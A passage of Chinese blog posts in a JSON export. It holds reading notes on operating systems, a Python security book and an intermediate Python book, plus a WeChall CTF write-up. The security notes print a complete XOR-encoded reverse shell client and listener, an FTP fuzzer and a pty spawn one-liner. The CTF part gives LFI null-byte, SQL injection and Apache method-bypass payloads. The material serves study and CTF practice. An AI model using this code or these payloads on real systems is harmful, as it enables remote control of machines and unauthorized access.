这样在进程的函数中，先得到互斥体，如果得不到，说明有线程正则使用，那么被阻塞。直到另一个线程完成操作，解锁互斥体之后，该线程才得以运行。\n书中还在后面细化了这部分，可以看看代码，便跳过了。\n互斥体，信号量 互斥体前面已经有提到了，先申请锁，如果得不到，说明有使用，就被阻塞，等待释放锁，得到之后立即加锁，其他的线程无法得到锁，完成之后释放，就是这样的过程，实现了线程间的同步。\n信号量实际上是一种高阶的互斥体，互斥体可以理解为二值信号量。信号量里面涉及到了 PV 操作。\n通过互斥体来讲：mutex 为 1 说明资源存在，为0 说明正在被占用\n到了信号量，sem 为 10 说明有十个资源， 为0 说明已经完全分配， -1 说明有一个进程在等待资源。\n","date":"2018-11-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/11/2018-11-23-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E6%80%9D%E8%80%83/","tags":null,"title":"读本好书 《操作系统思考》"},{"categories":null,"contents":"已经地几本了，鼓励一下自己啦。这本主要是讲 python 用于安全相关的编程内容。本书的篇幅比较的短，这篇总结一下主要的内容。\n我们是愚者，我们是一只蜂 1.6*10^9 \u0026gt; 1.6*10^9 ，我们自己根据蓝图所画出的东西，超乎我们自己的想象。\n简介 书名：Python 安全编程教程 原文：Python Tutorials 译者：smartFlash 来源：pySecurity 协议：MIT License 这是一本技术类书籍，主要内容是 Python 相关的安全类的书。\n入门 使用 help 函数，可以很方便的查看函数的相关说明 端口扫描 简单的端口扫描功能，使用 socket 进行连接的建立，如果连接失败，代表端口未开放。这个效率当然是比较低的。一般是只是用 SYN 得到 ACK 之后就直接结束会话。\nfor port in range(20,25): try: print \u0026#34;[+] Attempting to connect to 127.0.0.1:\u0026#34;+str(port) s.connect((\u0026#39;127.0.0.1\u0026#39;, port)) s.send(\u0026#39;Primal Security \\n\u0026#39;) banner = s.recv(1024) if banner: print \u0026#34;[+] Port \u0026#34;+str(port)+\u0026#34; open: \u0026#34;+banner s.close() except: pass 书中的示例代码如上：上面对于未打开端口，捕获其异常。不做任何操作。在循环中轮询端口，建立连接，\n反向Shell Shell 是个耳熟的，分两个类型，正向Shell 与 反向Shell。 分别为 reverse 和 bind 。正向shell 可以理解为，客户端打开了一个端口，我们组主动连接客户端。 反向shell 指的是，我们本地打开端口，让受控的客户端去连接我们。\n具体的代码，书中已经给出了，内容简单易读，这里加上些注释吧：\nimport socket,subprocess,sys RHOST = sys.argv[1] RPORT = 443 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT)) while True: # 从socket中接收XOR编码的数据 \u0026lt; 这里学着点，使用了简单的异或加密。 data = s.recv(1024) # XOR the data again with a \u0026#39;\\x41\u0026#39; to get back to normal data en_data = bytearray(data) for i in range(len(en_data)): en_data[i] ^=0x41 # 异或操作 # 执行解码命令，subprocess模块能够通过PIPE STDOUT/STDERR/STDIN把值赋值给一个变量 comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) STDOUT, STDERR = comm.communicate() # 输出编码后的数据并且发送给指定的主机RHOST en_STDOUT = bytearray(STDOUT) for i in range(len(en_STDOUT)): en_STDOUT[i] ^=0x41 s.send(en_STDOUT) s.close() 上面的代码其实是很简单的。建立连接之后，对我们的的远程的传入命令进行执行。这里一个 point 是: subprocess 的模块的使用。\nsubprocess 和 os.system 不同，前者可以把输出进行向变量的重定向。可以得到命令执行吼的完整的回显。然而如果使用 后者 ，只会得到 其进程 返回值， 值得注意的是，system 的返回值是 linux 的标准的左移 8位 后的值。\n发送部分\nimport socket s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((\u0026#34;0.0.0.0\u0026#34;, 443)) s.listen(2) print \u0026#34;Listening on port 443... \u0026#34; (client, (ip, port)) = s.accept() print \u0026#34; Received connection from : \u0026#34;, ip while True: command = raw_input(\u0026#39;~$ \u0026#39;) # 等待输入和打印提示符 encode = bytearray(command) for i in range(len(encode)): encode[i] ^=0x41 client.send(encode) en_data=client.recv(2048) decode = bytearray(en_data) for i in range(len(decode)): decode[i] ^=0x41 # 解码并且进行打印。 print decode client.close() s.close() 模糊测试 （fuzzing） 模糊测试 是一种软件测试技术。其核心思想是自动或半自动的生成随机数据输入到一个程序中，并监视程序异常，如崩溃，断言失败，以发现可能的程序错误，比如内存泄漏。\n基于 python 实现的模糊测试的脚本。具体思想，就是提交大量的随机模拟输入，来发现系统的潜在的问题。实现思想就是，模拟用户提交，发现问题之后进行上报。书中的代码如下，一样是是自己去添加一些注释\nimport sys, socket from time import sleep target = sys.argv[1] buff = \u0026#39;\\x41\u0026#39;*50 while True: #使用\u0026#34;try - except\u0026#34;处理错误与动作 try: # 连接这目标主机的ftp端口 21 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.settimeout(2) s.connect((target,21)) s.recv(1024) print \u0026#34;Sending buffer with length: \u0026#34;+str(len(buff)) #发送字符串:USER并且带有测试的用户名 s.send(\u0026#34;USER \u0026#34;+buff+\u0026#34;\\r\\n\u0026#34;) s.close() sleep(1) #使用循环来递增直至长度为50 buff = buff + \u0026#39;\\x41\u0026#39;*50 except: # 如果连接服务器失败，我们就打印出下面的结果 print \u0026#34;[+] Crash occured with buffer length: \u0026#34;+str(len(buff)-50) sys.exit() emmm 这个其实也是没啥好注释的了，内容简单明了，算是点开了一种妙用。\n内容压缩 py2exe 把python 文件打包成一个 exe 进行发布 Web 请求及解析 Beautiful Soup和urllib/urllib2 爬虫 spider模块 有现成的模块可以用啦 from spider import webspider as myspider Whois自动查询 Whois 模块 Python 与 Metasploit 虚拟终端 和 反向shell 不同，终端是用于直接打开一个 终端程序 python -c \u0026quot;import pty;pty.spawn(\u0026quot;/bin/bash\u0026quot;)\u0026quot; 基于 Python 的远控 这个东西虽然有 py2exe 感觉还是比较鸡肋吧，实现了添加注册表自启动，和弹shell的功能，不过有时候 之前用的 veil 也是使用的 python 做的免杀。 EXP的编写 这里书中列出了几个简易的 EXP 的脚本，是一件被挖掘的 RCE （远程代码执行）， 和 LFI （本地文件包含） 的漏洞。实现的是 poc 的改变实现的功能，漏洞本身原理，还是有待挖掘的。这里就简单的先列出来吧，做个小表格，对漏洞有个基础的了解。\nCVE 类型 CVE-2014-6271 bash 远程代码执行 CVE-2012-1823 php-cgi 远程代码执行 CVE-2014-3704 SQL 注入 CVE-2012-3152 Oracle本地文件包含 ","date":"2018-10-28T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/10/2018-10-28-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6-python-%E5%AE%89%E5%85%A8%E7%BC%96%E7%A8%8B%E6%95%99%E7%A8%8B/","tags":null,"title":"读本好书 《Python 安全编程教程》"},{"categories":["dev"],"contents":"前 坚持自己的读书计划吧，不断地学习新知识和历练自己的能力水平。来填充自己平时的空白，的确是一件很舒服的事情不是吗。\n没必要去羡慕，静下心来做好自己的东西就好了。很多东西一旦拥有了，也许就不会珍惜了，得不到的永远在骚动，被偏爱的却有恃无恐。\n平时总是有很多想法，偶尔的写写 XD。这次的书，篇幅很短，所以也很顺利的在一周之内读的差不多了。正值周末，来写写笔记，和一些使用的demo 。不然就忘得差不多了。\n简介 书名：Intermediate Python 作者：yassoob ISBN：N/A 开源书籍 本书是一本开源书籍，开源的精神真的感染了我们每个人，我写书，大家来翻译，来排版，来查错。大家都是自愿的一起去实现同一个目标，就算功底不行，提个 issue 也好呢。\n感谢英文原著作者 @yasoob《Intermediate Python》，有了他才有了这里的一切\n中译版 Python 进阶\n这是一本技术类书籍，介绍了很多 python 的较为进阶的语法和使用指南， 这里就直接做个总结吧。\n*args 和 **kwargs *args 和 **kwargs 实现了函数里面的不定参数。比如 python 里面的 print()函数。我们就一次性打印多个参数。比如以下实例代码\ndef args(*argvs): for i in argvs: print(i) args(\u0026#39;1\u0026#39;,2,\u0026#39;test\u0026#39;) 可见，实际上我们的多个参数使用 *args 在进入函数之后，会被组装成一个 tuple 元组。我们可以对其进行迭代。\n值得注意的是 *args 并不是固定的，这个只是默认的约定，如上述代码里面的 argvs 一样的是可以成功运行。\n**kwargs 这个名字看起来不含辨识，实际上如其功能，这个是传递的是不定长度的键值对 key-value，KV ≈ KW ？\n问：dict 字典本身不就是不定长度的吗？ 一样可以直接作为参数传入，\n答：看示例代码的形式\ndef args(**kwargs): print(kwargs.key()) print(kwargs.values()) args(a=123, b=456, c=789) 这个传入的形式是不是相当的眼熟，没错，我们的pymysql 里面的进行连接的函数一样的使用的是这种形式。所以对于我们的启发是。\npython的函数可以同时使用 常规参数，和这种可变长字典的形式，这样可以用于我们多出的参数， 也增加了程序的鲁棒性。\n如果同时的去使用 这两种形式，其顺序如下\nsome_func(fargs, *args, **kwargs) 这里还有个很有趣的用法，叫做 猴子补丁(monkey patch) 指的是程序再起运行的时候进行动态的 hot patch。就像 Django 一样，可以动态的修改路由不必停止其整个进程。\nPDB PDB 可以实现对 py 文件进行简单的调试：\npython -m pdb my_script.py 命令列表： c: 继续执行 w: 显示当前正在执行的代码行的上下文信息 a: 打印当前函数的参数列表 s: 执行当前代码行，并停在第一个能停的地方（相当于单步进入） n: 继续执行到当前函数的下一行，或者当前行直接返回（单步跳过） 生成器 生成器，可以抽象成一个 函数，输入有对应的输出。生成我们的结构，而不一个大大的列表，用来存内容，显得 太不 pythonic。\n迭代器是一个让程序员可以遍历一个容器（特别是列表）的对象。\n这里书里有的三个概念：\n可迭代对象(Iterable) 比如列表，他是可迭代的 迭代器(Iterator) 用于迭代可迭代容器的一个对象 迭代(Iteration) 遍历课迭代对象的过程 Python中任意的对象，只要它定义了可以返回一个迭代器的__iter__方法，或者定义了可以支持下标索引的__getitem__方法(这些双下划线方法会在其他章节中全面解释)，那么它就是一个可迭代对象。\n这个也就解释了，当一个错误的类型被使用 [1] 进行索引报错的，是没有__getitem__ 这个方法。\n任意对象，只要定义了next(Python2) 或者__next__方法，它就是一个迭代器。就这么简单。现在我们来理解迭代(iteration)\n这个 对象可以使用 next ，对容器的下一个继续迭代。\n（这里大面积引用，因为地区是很简明扼要的。）\n正如之前说，生成器是可以看作一个函数，每次都是有一个输出，而不是大量的一堆的数据。下面的代码便是实现了一个生成器\ndef generator_function(): for i in range(10): yield i for i in generator_function(): print(i) 有了这样的方法，我们定义的生成器是迭代的，最大的好处，是我们不必一次性的生成大量的数据。like：\ndef mass(n): a = [] for i in range(): a.append(i*i) return a for i in mass(100): print(i) 这样的方法我们生成大量的数据的时候，会占据大量的数据缓冲，十分的不 pythonic，所以换个写法：\ndef mass(n): for i in range(n): yield i*i for i in mass(100): print(i) 这种写法，实现了一个迭代器，使用 for 结构，对其进行迭代。可是，其实际上的过程呢，看这里:\nprint(type(mass)) print(type(mass(10))) print(next(mass(10))) 可见构造的生成器函数在初始化之后成为了一个生成器，且其为一个课迭代对象，可以使用next 进行迭代。\n迭代器，前面提到是可以对可迭代容器进行迭代的对象。我们常见的 str 本身是一个可迭代对象，但是不是迭代器。\nmStr = \u0026#34;hello\u0026#34; str_iter = iter(mStr) print(next(str_iter)) 这样，就完成了一个迭代器的初始化，以及进行了迭代器的操作 。\nMap，Filter，Reduce 这几个东西，就是相当的 pythonic 了，实现对可迭代数据的批量操作。用的好的话，程序是十分优雅的~。\n经常会有这样的代码，真的是蠢蠢的格式，和行为\na = [1,2,3,4,5,6] x = [] for i in range(len(a)): x.append(a[i]**2) 那么怎么办呢， 这里就出现了 map 函数，实际上这函数在 JS 里面也是有的。\na = [1,2,3,4,5,6] x = list(map(lambda x: x**2, a)) 这样的简单的一句，就实现了对于整个数数组的批量操作，非常的优雅不是吗~。里面的 lambda 称之为 匿名函数，是个函数，但是没有吗名字，多用于临时的使用的函数，或者简单的单行函数。当然我们可以给他个名字\na = [1,2,3,4,5,6] pow = lambda x: x**2 x = list(map(pow, a)) 这里还有个很厉害的操作，这里的 map 批量操作的对象甚至是可以是一个 函数的列表。比如实现，对一个列表的数据，进行多个不同的操作，并且可以容易的进行对比：操作如下：\ndef multiply(x): return (x*x) def add(x): return (x+x) funcs = [multiply, add] for i in range(5): value = map(lambda x: x(i), funcs) print(list(value)) filter 正如其名，对数据进行过滤，再也不需要一个for 遍历之后，再 append 一个新的数组出来了。\na = range(0,100) b = filter(lambda x:(x+1)% 2 == 0, a) print(b) 完美优雅的筛选出了0~99 直接的所有的奇数；\nreduce 用于对一个可迭代对象内部的元素进行批量操作。比如列表求和，直到 求方方差之类的。\nmids = map(lambda x: x.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;), list(s)) mids = set(mids) # 直接转集合去重 h5_list_1 = reduce(lambda x,y: x + \u0026#39;\u0026lt;option value=\u0026#34;\u0026#39; + y +\u0026#39;\u0026#34;\u0026gt;\u0026#39;,mids) 一样进行了迭代，和兼并操作~可以得到这个一个进行拼接的一个 \u0026lt;option\u0026gt;\u0026lt;/option\u0026gt; 的一个列表。\nSet 集合 不是这里看到差点忘了 python 还有这种的数据超类型。近似于列表，但是集合元素不可重复。且可以进行集合的与或非运算哦。赶紧巩固一下初始化形势 a = {1,2,3}\n如何从 一个列表里面剔除重复的元素。 集合提供了完美的解决方案！\na = [1,1,1,1,2,2,2,2,3,3,4,3,5] print(set(a)) 简直是。。。完美\n三元运算符 正如，一般的 JS/C 的一样的存在三元运算符 (Q?A:B), python 也是存在这样的一个 三元运算符，恨意很方便的实现逻辑的简单的判断。\nA if statement else B 与其不一样的是其判别式在中间， 左真右假。\n还有一种的变体，显得比较不直观：\n(a,b)[statement] 装饰器 记得第一次 遇上这个特性是在写 solidity的时候遇上的，通过 装饰器的结构，可以很容易的在一个方法的外面，再给他套上一层的功能。自己之前用过如下的一个：\ndef time_me(fn): u\u0026#39;\u0026#39;\u0026#39; 函数耗时修饰器 \u0026#39;\u0026#39;\u0026#39; def _wrapper(*args, **kwargs): start = time.clock() ret = fn(*args, **kwargs) # 这里记得加返回值，血坑 print u\u0026#34;%s cost %s second\u0026#34;%(fn.__name__, time.clock() - start) return ret return _wrapper @time def main (): pass 这里就用到了之前的特性 *args， **kwargs 这个适用于传递我们的可变参数。在python 里面有句话 一切皆对象 ，所以函数也如此，阅读了前面的修时器的代码，其实不难发现，其传入的是个函数，返回的也是个函数，这个返回的函数在我们的传入函数两边包裹了一些内容。实现了对函数的功能修饰。下面自己构造一个修饰器：\na = range(0,100) def my_decorator(func): def func_warp(*args,**kwargs): return func(*args,**kwargs) return func_warp @my_decorator def app(): return filter(lambda x:(x+1)% 2 == 0, a) print(app()) 这个也行是最没有用的修饰器了，只是添加了调用返回的过程，但是没有任何作用，不过这个的确实现了一个修饰器的作用，我们成功的进行了一次修饰，而且捕获了他的返回值。\n还是上面的代码，注意一个使用细节：\nprint(my_decorator(app)()) 如果 @ 的符号出现的太突兀，我们可以使用这样的形式来使用修饰器，很好理解~，函数传入了我们的修饰器（函数），返回了经过修饰的函数，最后再进行调用。这样完成了整个的修饰过程~。\n修饰器作为一个如此强大的功能，那么器具体的作用呢？其实有相当的多。比如上面给出的 一个函数计时器。在函数调用，以及函数返回 的过程来进行 计时，以及时间的打印。在 Flask 里面。修饰器的存在也是相当的频繁了，对于我们的路由进行直接的修饰。十分的方便。\nReturn 与 Global 这个是比较常用的特性，简单讲吧。\nglobal val # 用于声明 全局的变量。 return 可以返回多个返回值，而不需要在返回前先把参数进行打包：\nreturn a,b a,b = c() return (a,b) res = c() res[0],res[1] 对象变动(Mutation) 这个问题是相当的有趣了，让我想到很久之前一个自己写出的一个bug，其代码示例示例如下\nx = 1 y = [1] q=[] p=[] for i in (range(3)): x += 1; p.append(x) y[0] = y[0] + 1 q.append(y) print(p,q) 为什么这样讲？看起来很简单的代码呀。实际上其结果是这样的：\n([2, 3, 4], [[4], [4], [4]]) 当时，挺震惊的~。 完全的不符合自己的直觉呀。实际上 这个就遇到了 深拷贝问题：\nPython 中的复杂类型的传递，是通过引用的。这个引用，就是我们最熟悉的 id （抽象化的地址）\n怎么讲呢？ 上面的代码我们稍作修改：\nx = 1 y = [1] q=[] p=[] for i in (range(3)): x += 1; p.append(x) print(\u0026#39;x\u0026#39;, id(x)) # \u0026lt; 打印ID y[0] = y[0] + i q.append(y) print(\u0026#39;y\u0026#39;, id(y)) # \u0026lt; 打印 ID print(p,q) 其结果如下 ：\n这里我们得注意 id 的值 (\u0026#39;x\u0026#39;, 72836976L) \u0026lt; (\u0026#39;y\u0026#39;, 80438856L) (\u0026#39;x\u0026#39;, 72836952L) \u0026lt; (\u0026#39;y\u0026#39;, 80438856L) (\u0026#39;x\u0026#39;, 72836928L) \u0026lt; (\u0026#39;y\u0026#39;, 80438856L) 过程发现 ，y 的 id 在整个过程中 都是一样的，也就是地址是一样的，然而 x 的 id 随着值得递增，在不断变化！这个就是这里的核心问题。下面进行更进一步的探索！\nx = 1 y = [1] q=[] p=[] def ccc(x,y): for i in (range(3)): print(\u0026#39;x\u0026#39;, id(x)) x += 1; p.append(x) print(\u0026#39;y\u0026#39;, id(y)) y[0] = y[0] + i q.append(y) print(p,q) print(id(x), id(y)) ccc(x,y) 这里的命名有些随意了，不过注意主要是展示问题的 嘻嘻。这段代码的输出：\n(72116104L, 82077256L) (\u0026#39;x\u0026#39;, 72116104L) \u0026lt; (\u0026#39;y\u0026#39;, 82077256L) \u0026lt; (\u0026#39;x\u0026#39;, 72116080L) (\u0026#39;y\u0026#39;, 82077256L) (\u0026#39;x\u0026#39;, 72116056L) (\u0026#39;y\u0026#39;, 82077256L) ([2, 3, 4], [[4], [4], [4]]) 这里可以看到， 我们传入 的 int 的 ID 在函数传递后，是没有变化的，操作之后，发生了变化。然而，传入的数组的，整个过程的 ID 是没有发生变化的。所以可以确定，我们传入的是引用。所以，会导致了这样的问题产生。\n问题的解决：这里自己之前遇到的解决方法是使用 对象的拷贝，作为另一个变量传入，而不是引用,代码如下：\nx = 1 y = [1] q=[] p=[] def ccc(x,y): import copy for i in (range(3)): b = copy.deepcopy(y) b[0] = b[0] + i print(\u0026#39;b\u0026#39;, id(b)) q.append(b) print(p,q) print(id(x), id(y)) ccc(x,y) 这里使用了 python 的复制模块，可以实现 对象的拷贝，可以是强制的复制形参。得到的结果，就看起来正常的多：\n(74868616L, 81159752L) (\u0026#39;b\u0026#39;, 81172168L) (\u0026#39;b\u0026#39;, 81160136L) (\u0026#39;b\u0026#39;, 81161160L) ([], [[1], [2], [3]]) 内容压缩 __slots__ 用于对类定义的时候，指定确定的参数。而不是 virtualenv 建立python的虚拟环境，避免依赖混乱 对象自省 自省(introspection)，在计算机编程领域里，是指在运行时来判断一个对象的类型的能力。它是Python的强项之一。\npython 里面提供了自省的模块，我们可以使用 dir 可以列出了一个对象的所有的成员。\n__doc__ 这个成员变量，是一般类的说明。\ntype 用于查看一个对象的类型\nid可以理解为 C 里面的地址\n推导式 (comprehensions) 推导式的功能是极其强大了，可以实现十分 pythonic 的写法和功能。使用这个功能可以很轻松的对连续冗余的 for 循环，进行压缩。这里就随便贴一句，不过可读性太差了。\nfor i in filter(lambda l: re.match(\u0026#39;.*404$\u0026#39;, l[\u0026#39;name\u0026#39;]),[x for key in cts for x in cts[key]]): python 的推导式的形式如下：\nvariable = [out_exp for out_exp in input_list if out_exp == 2] 推导式在功能上和filter 有些相似，不过，推但是在进行运算的本身，实际上也带了生成的作用，\n比如下面的，快速生成：\nsquared = [] for x in range(10): squared.append(x**2) squared = [x**2 for x in range(10)] squared = map(lambda x:x**2, range(10)) 异常 Exception 代码里面的异常处理是很重要的，特别是当代码的体量大了之后，异常的处理处理显得尤为重要，不好的异常处理习惯，可能直接导致后面的奇怪的问题得不到解决，之前有遇到的问题是，异常的捕获过于随意，然而又没有经过处理，所以导致了，出现问题直接没有任何会显得情况。\n注意如果存在，没有捕获到的异常的时候使用 raise 把异常上抛\nexcept Exception as e: print e raise finally 从句，用于代码段执行之后的 处理，在异常发生与否，都会被调用。\ntry/else 从句， 用于try 中没有异常触发的情况下调用。\nlambda 表达式 这里的 lambda 的意思就是我们的函数。这里就是匿名函数的意思，这个概念在 JS 里面是大量存在的 a(function(){...}) 。其具体的形式如下：\nlambda x,x1,x2:... 其用处在实习单行的简单函数的时候，将会显得十分优雅：\ndef add(a,b): return a + b reduce(add, nums) reduce(lambda x,y:x+y, nums) add1 = lambda x,y:x+y reduce(add1, nums) ############################################ a = [(1, 2), (4, 1), (9, 10), (13, -3)] a.sort(key=lambda x: x[1]) print(a) lambda 表达书的用处韩式相当广泛的。\n一行式 这里讲了 python 的单行的妙用吧。\n功能 命令 简易Web Server python -m SimpleHTTPServer 漂亮的打印 from pprint import pprint json 解析 `cat file.json 单行命令 python -c 列表辗平 itertools.chain.from_iterable() 传入一个二维列表 for 的 else 从句 一个循环的退出，存在两种情况：\n循环到最后的结束 循环内部的 break 当我们需要进行分辨这两种情况的时候，就需要一个额外的标志位。这里如果使用 else 的话满清可以很轻易的实现这个功能：\nfor item in iteration: ... else: # for 不是通过 break 结束的时候执行 Python 对 动态链接库的使用 python 可以很容易的使用系统中的动态链接库 .so (Shared Object)\n//sample C file to add 2 numbers - int and floats int add_int(int, int); float add_float(float, float); int add_int(int num1, int num2){ return num1 + num2; } float add_float(float num1, float num2){ return num1 + num2; } 编译命令如下：\n$ gcc -shared -Wl,-soname,adder -o adder.so -fPIC add.c 之后可以直接在 Python 从进行引用：\nfrom ctypes import * adder = CDLL(\u0026#39;./adder.so\u0026#39;) res_int = adder.add_int(4,5) print \u0026#34;Sum of 4 and 5 = \u0026#34; + str(res_int) Python/C API 这部分，讲了使用 C 写python 的模块，可以有更好的性能。\npython 协程 协程的概念，可以理解为一个可以多次返回的函数。其关键字是 yield 这个关键字，我们在前面的生成器里面见过，协程至于生成器的不同，我已理解为一个进行 参数的输出的，另一个是进行输入的。\n协程 参考原书内容\nwith/as 上下文管理结构 python 里面的：\nwith open(\u0026#39;some_file\u0026#39;, \u0026#39;w\u0026#39;) as opened_file: opened_file.write(\u0026#39;Hola!\u0026#39;) 就是一个上下文管理结构， 指的是 一个结队操作中间夹杂其他代码的很好的解决方案。打开之后，在缩进结束之后，会进行自动的关闭\n","date":"2018-10-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/10/2018-10-27-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6-python-%E8%BF%9B%E9%98%B6/","tags":["python"],"title":"读本好书 《Python 进阶》"},{"categories":null,"contents":"前 偶遇了一个网站 wechall.net ，发现是CTF 的一个很好的入门之地。很多很经典的内容在这里学习， 还是不错的。这一篇，是这周的解题过程中的一个记录吧。\nWeChall 14 145 yes 104 3.74% Oct 21, 2018 - 05:43:34 题目同样的覆盖很广，这里做个分类\nEZ 前面基础部分就跳过了：\nview source F12/c+o+i\nStegano hexedit\nCaesar 1 Caesar 移位\nWWW-Robots 访问，暴露目录结构\nASCII py进行翻译\nURL url编码\nProgram 在得到 内容的1.33 秒内提交到另一个地址\n$.get(\u0026#39;https://www.wechall.net/challenge/training/programming1/index.php?action=request\u0026#39;).success(function(data){var x = data; $.get(\u0026#39;https://www.wechall.net/challenge/training/programming1/index.php?answer=\u0026#39;+x)}) WEB PHP LFI 之前的 白帽子里面刚刚看到，这里就用上了， 挺好~\n[File inclusion vulnerability](https://en.wikipedia.org/wiki/File_inclusion_vulne- rability#Local_File_Inclusion) LFI 是本地包含漏洞，使得客户端可以非法的包含 远程服务器的本地文件。\n所给的提示代码如下\n$filename = \u0026#39;pages/\u0026#39;.(isset($_GET[\u0026#34;file\u0026#34;])?$_GET[\u0026#34;file\u0026#34;]:\u0026#34;welcome\u0026#34;).\u0026#39;.html\u0026#39;; include $filename; 可见这里直接从 我们的 get 的 file 里面得到参数，然后进行拼接。\n// 尝试请求： https://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php // 返回错误信息： PHP Warning(2): include(pages/../solution.php.html): failed to open stream: No such file or directory in www/challenge/training/php/lfi/up/index.php(54) : eval()\u0026#39;d code line 1 由于这里对我们的内容 进行了 .html 的拼接，所以这里又是一个点了，%00截断\n%00 实际上就是直接 ascii 的十六进制的编码，这里的 00 就是eof 符号。由于 php 的内核是使用 C 进行编写的，所以这里会存在 00 截断的特性，所以构造如下\n// 再次请求： https://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00 成功的pass。\nPHP-0817 这个题目的如下， 一样是需要包含 本地的 solution 这个 文件。\n\u0026lt;?php if (isset($_GET[\u0026#39;which\u0026#39;])) { $which = $_GET[\u0026#39;which\u0026#39;]; switch ($which) { case 0: case 1: case 2: require_once $which.\u0026#39;.php\u0026#39;; break; default: echo GWF_HTML::error(\u0026#39;PHP-0817\u0026#39;, \u0026#39;Hacker NoNoNo!\u0026#39;, false); break; } } ?\u0026gt; 整个过程是十分的简单，直接 构造， which=solution 即可。这里主要分析一下这个过程，这个导致的原因还是由于 php 的弱类型的特性导致的。这里的Switch 进行的是 整形的比较，所以 当which 是个字符串的时候，一样的会被莫名其妙的转化为了数字。从而绕过了，这个 switch 的判断。\n这里偶遇一篇很好的文章：\nPHP弱类型漏洞 MYSQL 1 这里是一个比较基础的注入，给出了源码，可以直接看出构造过程。：\n$query = \u0026#34;SELECT * FROM users WHERE username=\u0026#39;$username\u0026#39; AND password=\u0026#39;$password\u0026#39;\u0026#34;; if (false === ($result = $db-\u0026gt;queryFirst($query))) { echo GWF_HTML::error(\u0026#39;Auth1\u0026#39;, $chall-\u0026gt;lang(\u0026#39;err_unknown\u0026#39;), false); # Unknown user return false; } 重点，就是在上面的输入参数里面对用户的输入没有进行检测，（所有的用户输入 都是邪恶的！）\n这里构造思路很简单，当得到一个用户的查询记录就好了，密码？不存在的~。\nadmin\u0026#39; # \u0026lt; 注释掉 后面的密码查询部分 ^ 用于闭合 admin 这个查询参数 所以，构造上述的表单数据进行提交，即可。\nSQL注入攻击常见方式及测试方法\nPHP 全局变量覆盖 这个也是在书中刚好看到了，很幸运。这个问题是 php 中的全局变量覆盖的问题。REGISTER GLOBALS = ON 导致，用户可以提交参数，覆盖了 php中的变量。导致很多问题。\n这个题目中，一样的是一个登陆的过程，不过，贴出了源代码，可以更清楚的看到问题：\nif (isset($_POST[\u0026#39;password\u0026#39;]) \u0026amp;\u0026amp; isset($_POST[\u0026#39;username\u0026#39;]) \u0026amp;\u0026amp; is_string($_POST[\u0026#39;password\u0026#39;]) \u0026amp;\u0026amp; is_string($_POST[\u0026#39;username\u0026#39;]) ) { $uname = GDO::escape($_POST[\u0026#39;username\u0026#39;]); $pass = md5($_POST[\u0026#39;password\u0026#39;]); $query = \u0026#34;SELECT level FROM \u0026#34;.GWF_TABLE_PREFIX.\u0026#34;wc_chall_reg_glob WHERE username=\u0026#39;$uname\u0026#39; AND password=\u0026#39;$pass\u0026#39;\u0026#34;; $db = gdo_db(); if (false === ($row = $db-\u0026gt;queryFirst($query))) { echo GWF_HTML::error(\u0026#39;Register Globals\u0026#39;, $chall-\u0026gt;lang(\u0026#39;err_failed\u0026#39;)); } else { # Login success $login = array($_POST[\u0026#39;username\u0026#39;], (int)$row[\u0026#39;level\u0026#39;]); } } if (isset($login)) { echo GWF_HTML::message(\u0026#39;Register Globals\u0026#39;, $chall-\u0026gt;lang(\u0026#39;msg_welcome_back\u0026#39;, array(htmlspecialchars($login[0]), htmlspecialchars($login[1])))); if (strtolower($login[0]) === \u0026#39;admin\u0026#39;) { $chall-\u0026gt;onChallengeSolved(GWF_Session::getUserID()); } } 重点，就在下面的 login 的状态检测，直接使用了 login 的0，1 的参数。所以这里，我们就使用变量覆盖：构造：\nif (isset($login)) { echo GWF_HTML::message(\u0026#39;Register Globals\u0026#39;, $chall-\u0026gt;lang(\u0026#39;msg_welcome_back\u0026#39;, array(htmlspecialchars($login[0]), htmlspecialchars($login[1])))); if (strtolower($login[0]) === \u0026#39;admin\u0026#39;) { $chall-\u0026gt;onChallengeSolved(GWF_Session::getUserID()); } } 便很顺利的，绕过了前面的密码的检测。\n[web安全] 变量覆盖漏洞\nCODE Transposition 移位密码 (置换密码) 题目如下移位密码，题目甚至很贴心的给出了 wiki transposition ciphers 。\noWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt oes eoyrup sawsro don:wc mldcpgsopb.l 实际上，这里是对一个简单加密形式的一个认识。可以这样理解，把原文一句话，分割成多个片段，在每个片段里面进行字母的移位。比如第一个和第二个换位。以题目举例。\noWdnreuf.lY uoc Wonderful.Y uoc 214365214365124 进行解密之后得到了 原明文.\nStegano 隐写 题目中给出了提示连接，这个是用软件点点点，但是原理要学会：\nHidden Hint: Steganabara explained\n隐写术总结\nLSB 一般图像的隐写方式，使用LSB(Least Significant Bit),对内容进行隐写。因为图片，可以解析为一个矩阵，每个像素都是三原色的。(0,0,0)~(255,255,255) 如果使用最低有效位的话 (254,254,254) 这样就隐藏了三个 bit ，但是肉眼一般是看不出差距的。\nMISC Limit Access Apache 的 访问认证的绕过。前面以为是 .htpasswd 的目录的访问，发现不是的，后面突然发现 ，limit 里面是指定了 限制的 Http 的请求方式\nAuthUserFile .htpasswd AuthGroupFile /dev/null AuthName \u0026#34;Authorization Required for the Limited Access Challenge\u0026#34; AuthType Basic \u0026lt;Limit GET\u0026gt; require valid-user \u0026lt;/Limit\u0026gt; Limit 了 GET方式，我们可以使用 POST ！js 脚本构造：\n$.post(\u0026#39;protected.php\u0026#39;).success(function(rdata){console.log(rdata)}) 成功的，绕过了登陆限制。\n后 以上，简简单单的几个 题目的 writeUP 